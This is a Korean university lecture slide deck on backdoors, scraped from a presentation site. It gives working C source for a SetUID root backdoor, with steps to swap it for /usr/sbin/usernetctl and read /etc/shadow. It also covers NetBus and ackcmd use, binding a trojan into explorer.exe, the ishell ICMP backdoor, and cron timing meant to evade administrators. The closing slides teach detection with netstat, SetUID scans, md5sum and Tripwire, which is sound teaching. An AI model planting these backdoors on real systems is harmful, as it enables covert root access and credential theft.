1 / 53

B ackdoor 시스템 해킹과 보안 6 장 백도어

B ackdoor 시스템 해킹과 보안 6 장 백도어. 경일대학교 컴퓨터 공학부 발표자 서정태 , 손형준. 목차. 학습목표. Table of Contents. 3 14 22 32. 백도어에 대한이해 윈도우백도어 백도어 탐지와 제거 백도어의 탐지와 대응책. 백도어에 대한 이해. ■ 백도어에 대한 이해. 트로이의 목마. 그리스 군과 트로이 군의 전쟁 시 그리스 군은 무장 군사를 숨긴 거대한 목마를 트로이 군에 선물 , 결국 그리스 군이 승리

hubert
Télécharger la présentation

B ackdoor 시스템 해킹과 보안 6 장 백도어

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Backdoor시스템 해킹과 보안 6장 백도어 경일대학교 컴퓨터 공학부 발표자 서정태, 손형준

  2. 목차 • 학습목표 Table of Contents 3 14 22 32 • 백도어에 대한이해 • 윈도우백도어 • 백도어 탐지와 제거 • 백도어의 탐지와 대응책

  3. 백도어에 대한 이해 ■ 백도어에 대한 이해 • 트로이의 목마 그리스 군과 트로이 군의 전쟁 시 그리스 군은 무장 군사를 숨긴 거대한 목마를 트로이 군에 선물, 결국 그리스 군이 승리  정상적인 프로그램에 비 정상 코드를 삽입한 프로그램

  4. 백도어에 대한 이해 ■백도어 • 원래의 의미 운영체제나 프로그램을 생성 시 인증과정을 거치지 않고, 운영체제나 프로그램 등에 접근할 수 있도록 만든 일종의 통로 (administrative hook = trap door) • 현재는 해커가 상대 시스템에 쉽게 접근하기 위해 설치해 놓은 해커만 알고 있는 비밀 통로

  5. 백도어에 대한 이해 ■ 백도어에 대한 이해 • 로컬 백도어 • 서버의 셸을 얻어낸 뒤에 관리자로 권한 상승 할 때 사용하는 백도어 • 트랩 도어 역시 로컬 백도어라고 생각할 수 있다. • 우선 시스템에 로그인해야 하므로, 공격자는 일반 계정이 하나 필요 • 원격 백도어 • 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 바로 시스템의 관리자 계정을 할 수 있는 백도어 • 네트워크에 자신의 포트를 항상 열어놓는 경우가 많다. 일종의 서비스를 제공하는 데몬처럼 동작하는 것이다. • 원격 GUI 백도어 • 원격 GUI(Graphic User Interface) 백도어는 실제로 많지 않다. • 그 이유는 GUI 환경의 백도어는 대부분 크기가 크고, 많은 데이터를 전송해야 하기 때문에 노출되기 쉽다.

  6. 백도어에 대한 이해 ■ 백도어에 대한 이해 • 패스워드 크래킹 백도어 • 인증을 회피한다기보다는 인증에 필요한 패스워드를 원격지의 공격자에게 보내주는 역할을 하는 백도어 • 키보드의 정보를 원격지에 보내는 경우도 있고, 특정 문자열, 즉 ‘passwd'와 같은 문자열 뒤에 누르는 키보드의 정보를 원격지에 보내는 경우도 있다. • 시스템 설정 변경 백도어 • 해커가 원하는 대로 시스템의 설정을 변경하기 위한 도구 • 유닉스에서 프로그램 스케쥴러로 사용되는 cron 데몬을 이용하는 경우가 많다.

  7. 백도어에 대한 이해 ■ 백도어에 대한 이해 • 트로이 목마형 백도어 • 처음부터 백도어를 목적으로 만들어진 프로그램이 아닌데, 백도어로 동작 • 윈도우에서는 웹 브라우저나 명령 창, 간단한 게임 등도 백도어와 섞을 수 있다. 이렇게 만들어진 백도어를 실행하면 원래 목적의 프로그램도 실행되면서 동시에 백도어도 설치된다. • 거짓 업그레이드 • 시스템 패치, 업그레이드 시 잘못된 프로그램을 설치하는 경우 • 원치 않으나 강제로 프로그램의 업그레이드가 실행되는 경우

  8. 백도어에 대한 이해 ■ SetUID 형 로컬 백도어 설치 및 이용 1. 백도어의 생성 #include <stdio.h> main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); } gcc -o backdoor backdoor.c chmod 4755 backdoor bash 셸 버전 2.0 이전에서만 가능 함 5장. SetUid 실습 내용 참조 요망

  9. 백도어에 대한 이해 ■ SetUID 형 로컬 백도어 설치 및 이용 2. 백도어의 동작 ./backdoor "id" ./backdoor "cat /etc/passwd"

  10. 백도어에 대한 이해 ■ SetUID 형 로컬 백도어 설치 및 이용 2. 백도어의 설치 시스템 내부에서 SetUID 비트를 가진 파일 검색 find / -perm 4755

  11. 백도어에 대한 이해 ■ SetUID 형 로컬 백도어 설치 및 이용 2. 백도어의 설치 시스템 내부에서 SetUID 비트를 가진 파일 선택 /usr/sbin/usernetctl

  12. 백도어에 대한 이해 2. 백도어의 설치 ■ SetUID 형 로컬 백도어 설치 및 이용 백도어의 수정 : vi backdoor2.c #include <stdio.h> main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); printf ("usage: usernetctl <interface-config> <up|down|report>\n"); }

  13. 백도어에 대한 이해 ■ SetUID 형 로컬 백도어 설치 및 이용 2. 백도어의 설치 백도어와 원래 파일과 바꾸기 cp ./backdoor2 /usr/sbin/usernetctl 3. 백도어의 사용 /usr/sbin/usernetctl “cat /etc/shadow"

  14. 윈도우 백도어 ■ 윈도우 백도어 – Ackcmd 실습에서 사용할 ‘ackcmd’ 툴은 이 중의 ack 패킷만을 이용한다. 즉, 세션을 성립시키지 않는다. 세션을 성립시키지 않기 때문에 방화벽이나 운영체제의 연결 기록에도 남지 않는다. 세션을 성립시키지 않고, 클라이언트와 서버가 ack 패킷만을 주고받으며 통신을 한다. 클라이언트 서버 Syn Syn + Ack Ack 정상적인 시스템의 3-Way Handshaking 과정 Ackcmd 툴을 이용한 패킷 전송 과정

  15. 윈도우 백도어 window 2000 이상에서 동작 ■ 윈도우 백도어 – ackcmd 해커시스템: 203.230.91.235 목표시스템: 203.230.91.242 1. 백도어의 설치 ackcmds:목표 시스템에 설치 2. 백도어에 대한 접속 ackcmdc 192.168.68.4 : 해킹 시스템에서 실시

  16. 윈도우 백도어 ■ 윈도우 백도어 – ackcmd 3. 패킷 분석 windump -v -X 192.168.68.4

  17. 윈도우 백도어 ■ 윈도우 백도어 – ackcmd 4. 세션 확인 netstat -n  Ack 신호만 주고 받으므로 세션이 성립되지 않는다.

  18. 윈도우 백도어 ■ 윈도우 백도어 – NetBUS 1. NetBUS 설치  V3 실시간 감시 기능을 잠시 꺼 놓고 실습할 것 (1) NetBUS170.zip 압축 파일을 푼다. - NetBus.exe: 클라이언트 프로그램- Patch.exe: 서버 프로그램 (2) 상대 시스템에 Patch.exe 파일을 설치한 후 (3) 클라이언트에서 NetBus.exe를 실행

  19. 윈도우 백도어 ■ 윈도우 백도어 – NetBUS 2. NetBUS 클라이언트를 이용한 접속 서버 시스템 ip

  20. 윈도우 백도어 ■ 윈도우 백도어 – NetBUS ① Host name / IP: 해킹 대상 시스템 ip ② Server admin : rhdrur 대상 시스템에 설치된 서버 접근제어 설정 ③ Open CD-ROM : 상대 시스템의 CD-ROM 열렸다, 닫혔다 ④ Start Program : 원격지 시스템의 프로그램 실행 ⑤ Msg Manager : 상대 시스템에 메시지 전송 기능 ⑥ Exit Windows : 상대 시스템 강제 종료 ⑦ Active Wnds : 상대 시스템 운영 프로그램 리스트(kill 가능) ⑧ Mouse Pos : 마우스 포인터 강제 이동 ⑨ Listen : 상대방 키보드 입력 사항 공격자에 전달(패스워드 크래킹) ⑩ Server Setup : patch.exe 사용 포트변경, 시스템 부팅 시 메일 전송 ⑪ Control mouse : 공격자 마우스 포인터와 동일하게 상애 마우스 조정 ⑫ Key Manager : 특정 키보드 동작 조정, 키보드 동작 정지 등 ⑬ Scan : netbus 설치 시스템 검색

  21. 윈도우 백도어 ■ 윈도우 백도어 – NetBUS 3. 백도어의 은닉 Joiner byBlinder라고 불리우는 툴인데, 이 툴은 하나 이상의 실행 파일(exe)을 하나의 파일로 만드는 기능을 가지고 있다. 다음 예와 같이 c:\winnt\explorer.exe 파일과 NetBUS의 서버 파일인 patch.exe 파일을 혼합하여 하나의 실행 파일을 만들 수 있다.

  22. 리눅스/유닉스 백도어 ■ 유닉스 백도어 • 데몬에 대한 로그인 시 권한 부여

  23. 리눅스/유닉스 백도어 ICMP 패킷 전송 ICMP 응답 클라이언트 203.230.91.234 서버 203.230.91.241 서버 주소: 203.230.91.234 클라이언트: 203.230.91.241 ■ 유닉스 백도어 – ICMP 백도어 <실습 환경> 필요한 파일 • ishell-latest.tar.gz • libcap-1.90.tar.gz  wow에서 default 지원 • tcpdump-3.5.tar.gz  wow에서 default 지원

  24. 리눅스/유닉스 백도어 윈도우에 있는 ishell-latest.tar.gz 파일 가져오는 방법 • 윈도우에서 알FTP 서버를 실행시키고계정설정에서 id: test, 비밀번호:1234567로세팅한다. • 리눅스에서 윈도우로 FTP 접속을 시도한다.root]# ftp 211.218.166.100 id와 패스워드를 입력한다. • 해당 파일을 다운 받는다.ftp> get ishell-latest.tar.gz

  25. 리눅스/유닉스 백도어 ■ 유닉스 백도어 – ICMP 백도어 ishell-latest.tar.gz 다운 2. 다운 받은 ishell 파일의 압축을 풀고 컴파일 #tar –xvzf ishell-latest.tar.gz # cd ISHELL-v0.2 # make # make linux ISHELL-v0.2에 ish와 ishd 실행파일이 만들어 짐

  26. 리눅스/유닉스 백도어 ICMP 패킷 전송 ICMP 응답 클라이언트 203.230.91.234 서버 203.230.91.241 <실습 환경 구축 방법> • Wow Linux 2개를 윈도우 시스템에 복사한다. • Vmware에서 2개의 리눅스를 모두 불러온다. • 리눅스 시스템 1개를 클라이언트, 다른 하나는 서버로 사용한다. 양 시스템 간 통신 여부를 ping으로 확인한 후 실습할 것

  27. 리눅스/유닉스 백도어 ■ 유닉스 백도어 – ICMP 백도어 3. ICMP 백도어 구동(서버에서 실행) 패킷종류 ./ishd -i 65000 -t 0 -p 1024 세션 id Reply 패킷길이

  28. 리눅스/유닉스 백도어 ■ 유닉스 백도어 – ICMP 백도어 4. ICMP 클라이언트를 이용한 접속(클라이언트에서 실행) ./ish -i 65000 -t 0 -p 1024 192.168.68.2 203.230.91.241에서 접속했으나 서버의 ip가 나타남 그러므로, 서버에 접속되었다는 것을 알 수 있음 . 상대 시스템을 사용 가능 함. # ls

  29. 리눅스/유닉스 백도어 ■ 유닉스 백도어 – ICMP 백도어 5. 패킷 분석(서버에서 실행) 클라이언트 주소 tcpdump host 192.168.68.4 서버에 접속하여 ‘ls’ 명령을 입력, 목록을 가져오는 것을 볼 수 있다.

  30. 리눅스/유닉스 백도어 ■ 유닉스 백도어 – Cron 백도어 1. Cron 데몬 이해하기 Cron 데몬은 /etc/crontab의 내용에 따라 주기적으로 프로그램을 실행하거나 중지한다. vi /etc/crontab 02  4   *    *    *   root   run-parts  /etc/cron.daily 분 시 일 월 요일 사용자 실행파일 실행대상

  31. 필드 사용할 수 있는 값 리눅스/유닉스 백도어 분 0에서 59 시 0에서 23 날짜 0에서 31 달 0에서 12 :  달 이름 사용 가능 요일 0 또는 7 : 일요일, 요일 이름을 사용 가능 ■ 유닉스 백도어 – Cron 백도어 2. Cron 데몬 값 범위 3. Cron 데몬 값 설정(ish 백도어) 0 4 * * * ./ishd -i 65000 //ishd 데몬이 새벽 4시에 시작하여 0 5 * * * pkill -U root ishd // 5시에 정지된다. 따라서, 시스템 관리자가 4~5시 사이에 시스템을 점검하지 않으면 백도어를 탐지하기 어렵다.

  32. 백도어 탐지의 대응책 ■ 백도어 탐지 1. 현재 동작중인 프로세스 확인 현재 프로세스를 확인해서 백도어가 아닌 정상적인 프로세스를 아는 것도 매우 중요하다. 대부분 백도어를 ‘나 백도어다’라고 이름 짓는 일이 없기 때문이다. 윈도우와 유닉스 시스템 등의 정상적인 프로세스들을 외워두는 것이 좋다. 리눅스: #ps –aux / 윈도우: pslist 2. 열린 포트 확인(book. p. 207~ 208) # netstat -na 3. SetUID 파일 검사 윈도우 시스템에는 해당 사항이 없지만, SetUID 파일은 리눅스나 유닉스 시스템에서 로컬 백도어로서 강력한 기능을 가지는 경우가 많다. 주기적으로 SetUID 파일 중에 추가되거나 변경된 것은 없는지 살펴보아야 한다. # find / –perm +4000

  33. 백도어 탐지의 대응책 ■ 백도어 탐지 4. 바이러스 및 백도어 탐지 툴 이용 대부분의 잘 알려진 백도어들은 바이러스의 일종으로 분류되어 백신 툴은 물론이고, 다양한 탐지 툴이 있다.이런 툴을 이용하면 쉽게 백도어를 잡아낼 수 있는 경우가 많다. 하지만 리눅스나 유닉스에서는 이런 툴이 많이 부족하기 때문에 수동으로 해야 할 경우가 많다. 5. 무결성 검사 MD5 해시 기법을 많이 쓴다. 파일의 내용이 조금만 바뀌어도 MD5 해시 결과 값이 다르기 때문에 관리자는 주기적으로 주요 파일의 MD5 값을 수집하고, 검사하여 변경되는 파일의 내역을 체크할 수 있다. 관리자가 변경하지 않았거나, 시스템 운영상 변할 일이 없는 파일임에도 변경되어 있는 것을 발견한다면, 이에 대한 조치를 할 수 있다. (md5sum) 6. 로그 분석 마지막으로 백도어를 탐지하는 방법으로는 로그 분석이 있다. 로그 분석 방법은 무척 다양하며, 'Cyber Foresic'이라는 하나의 분야로 정착되고 있다.

  34. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 1. 프로세스 확인 pslist를 이용해 현재 동작중인 프로세스에 대한 좀더 자세한 정보를 얻을 수 있다. (프로그램은 cybercop.cyworld.com 자료실)

  35. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 2. 열린 포트 확인 열린 포트는 ‘netstat -an'으로 알 수 있다.

  36. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 2. 열린 포트 확인 Fport를 이용한 포트별 응용 프로그램 확인 K:\>fport -h Usage: /p sort by port /a sort by application /i sort by pid /ap sort by application path 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책

  37. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 3. Promiscuous 모드 탐지 스니퍼가 설치되어 있을 경우 Promiscuous 모드로 변경되어 있을 수 있다. 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책

  38. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 4. 백도어 탐지 툴의 이용 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책

  39. ■ 백도어 탐지 – 윈도우 백도어 탐지 백도어 탐지의 대응책 4. 백도어 탐지 툴의 이용(The Cleaner) http://www.moosoft.com/ Double click 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 TCActive! monitors live processes for Trojans/Worms and other malicious programs and kills them before they do damage

  40. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 4. 백도어 탐지 툴의 이용(The Cleaner) TCMonitor keeps track of Registry keys, Files and Folders and alerts to any changes and can see the log files. 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책

  41. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 5. 무결성 검사 시스템에 대한 무결성 검사는 앞에서 살펴본 모든 테스트에서 백도어 탐지에 실패했을 경우에 사용할 수도 있으나, 주기적인 무결성 검사로 다른 침입의 흔적도 찾아낼 수 있으므로, 중요한 시스템일 경우나 중요한 디렉토리에 대해서는 주기적으로 무결성 점검 툴을 이용하여 점검해주는 것이 좋다. 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 SFC(System File Chcker)의 이용

  42. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 5. 무결성 검사 md5sum *.* > test.md5 type test.md5 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책

  43. 백도어 탐지의 대응책 ■ 백도어 탐지 – 윈도우 백도어 탐지 5. 무결성 검사 md5sum -c test.md5 check 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책

  44. 백도어 탐지의 대응책 ■ 백도어 탐지 – 리눅스 백도어 탐지 1. 프로세스 확인 ps -ef 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 2. 열린 포트 확인 netstat -an

  45. 백도어 탐지의 대응책 ■ 백도어 탐지 – 리눅스 백도어 탐지 3. SetUID 파일 검사 find / -perm +4000 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 4. 백도어 탐지 툴의 이용: Tripwire, chkrootkit 5. 무결성 검사: md5sum

  46. 백도어 탐지의 대응책 ■ 백도어 탐지 – Tripwire • 파일시스템을 스캐닝하여 주요 파일에 대한 디지털 서명값을 유지하여, • 차후 이들 파일이 변경되었는지 점검하는 도구 • 불법적으로 변경된 파일에 대한 점검을 위해 - CRC-16, CRC-32, SHA, Haval, MD-2, MD-4, MD-5(default 1), - Snefru(default 2) 등 다양한 무결성 점검 알고리즘을 제공한다. • Tripwire 동작 개요 • ① 설정파일인 tw.config 파일에 등록된 파일 및 디렉토리의 해쉬값을 생성한다. • ② DB로 부터 이전에 생성된 각 파일 및 디렉토리의 해쉬값과 비교한다. • ③ 비교시 tw.config의 select-maskes를 참조한다. • ④ 비교 결과값이 다를 경우 경고 메시지를 출력한다. 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책

  47. 백도어 탐지의 대응책 ■ 백도어 탐지 – Tripwire 1. 설치하기(wow linux에서는 디폴트로 설치되어 있음) rpm -q tripwire rpm -Uvh tripwire-2.3.1-17.i386.rpm 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 /usr/sbin/tripwire

  48. 백도어 탐지의 대응책 ■ 백도어 탐지 – Tripwire # /etc/tripwire/twinstall.sh (tripwire 초기화) 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 site key와 local key를 입력(두 번씩) 1234567

  49. 백도어 탐지의 대응책 ■ 백도어 탐지 – Tripwire 2. Tripwire 설정 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 cat /etc/tripwire/twcfg.txt  설정파일, Key 파일 및 정책 등

  50. 백도어 탐지의 대응책 ■ 백도어 탐지 – Tripwire 약간의 실행시간이 소요 됨 2. Tripwire 설정 # /usr/sbin/tripwire --init (tripwire 실행) 백도어에 대한 이해 1234567 윈도우 백도어 리눅스/유닉스 백도어 백도어의 탐지와 대응책 # cat /etc/tripwire/twpol.txt 무결성 검사 목록 저장 파일

More Related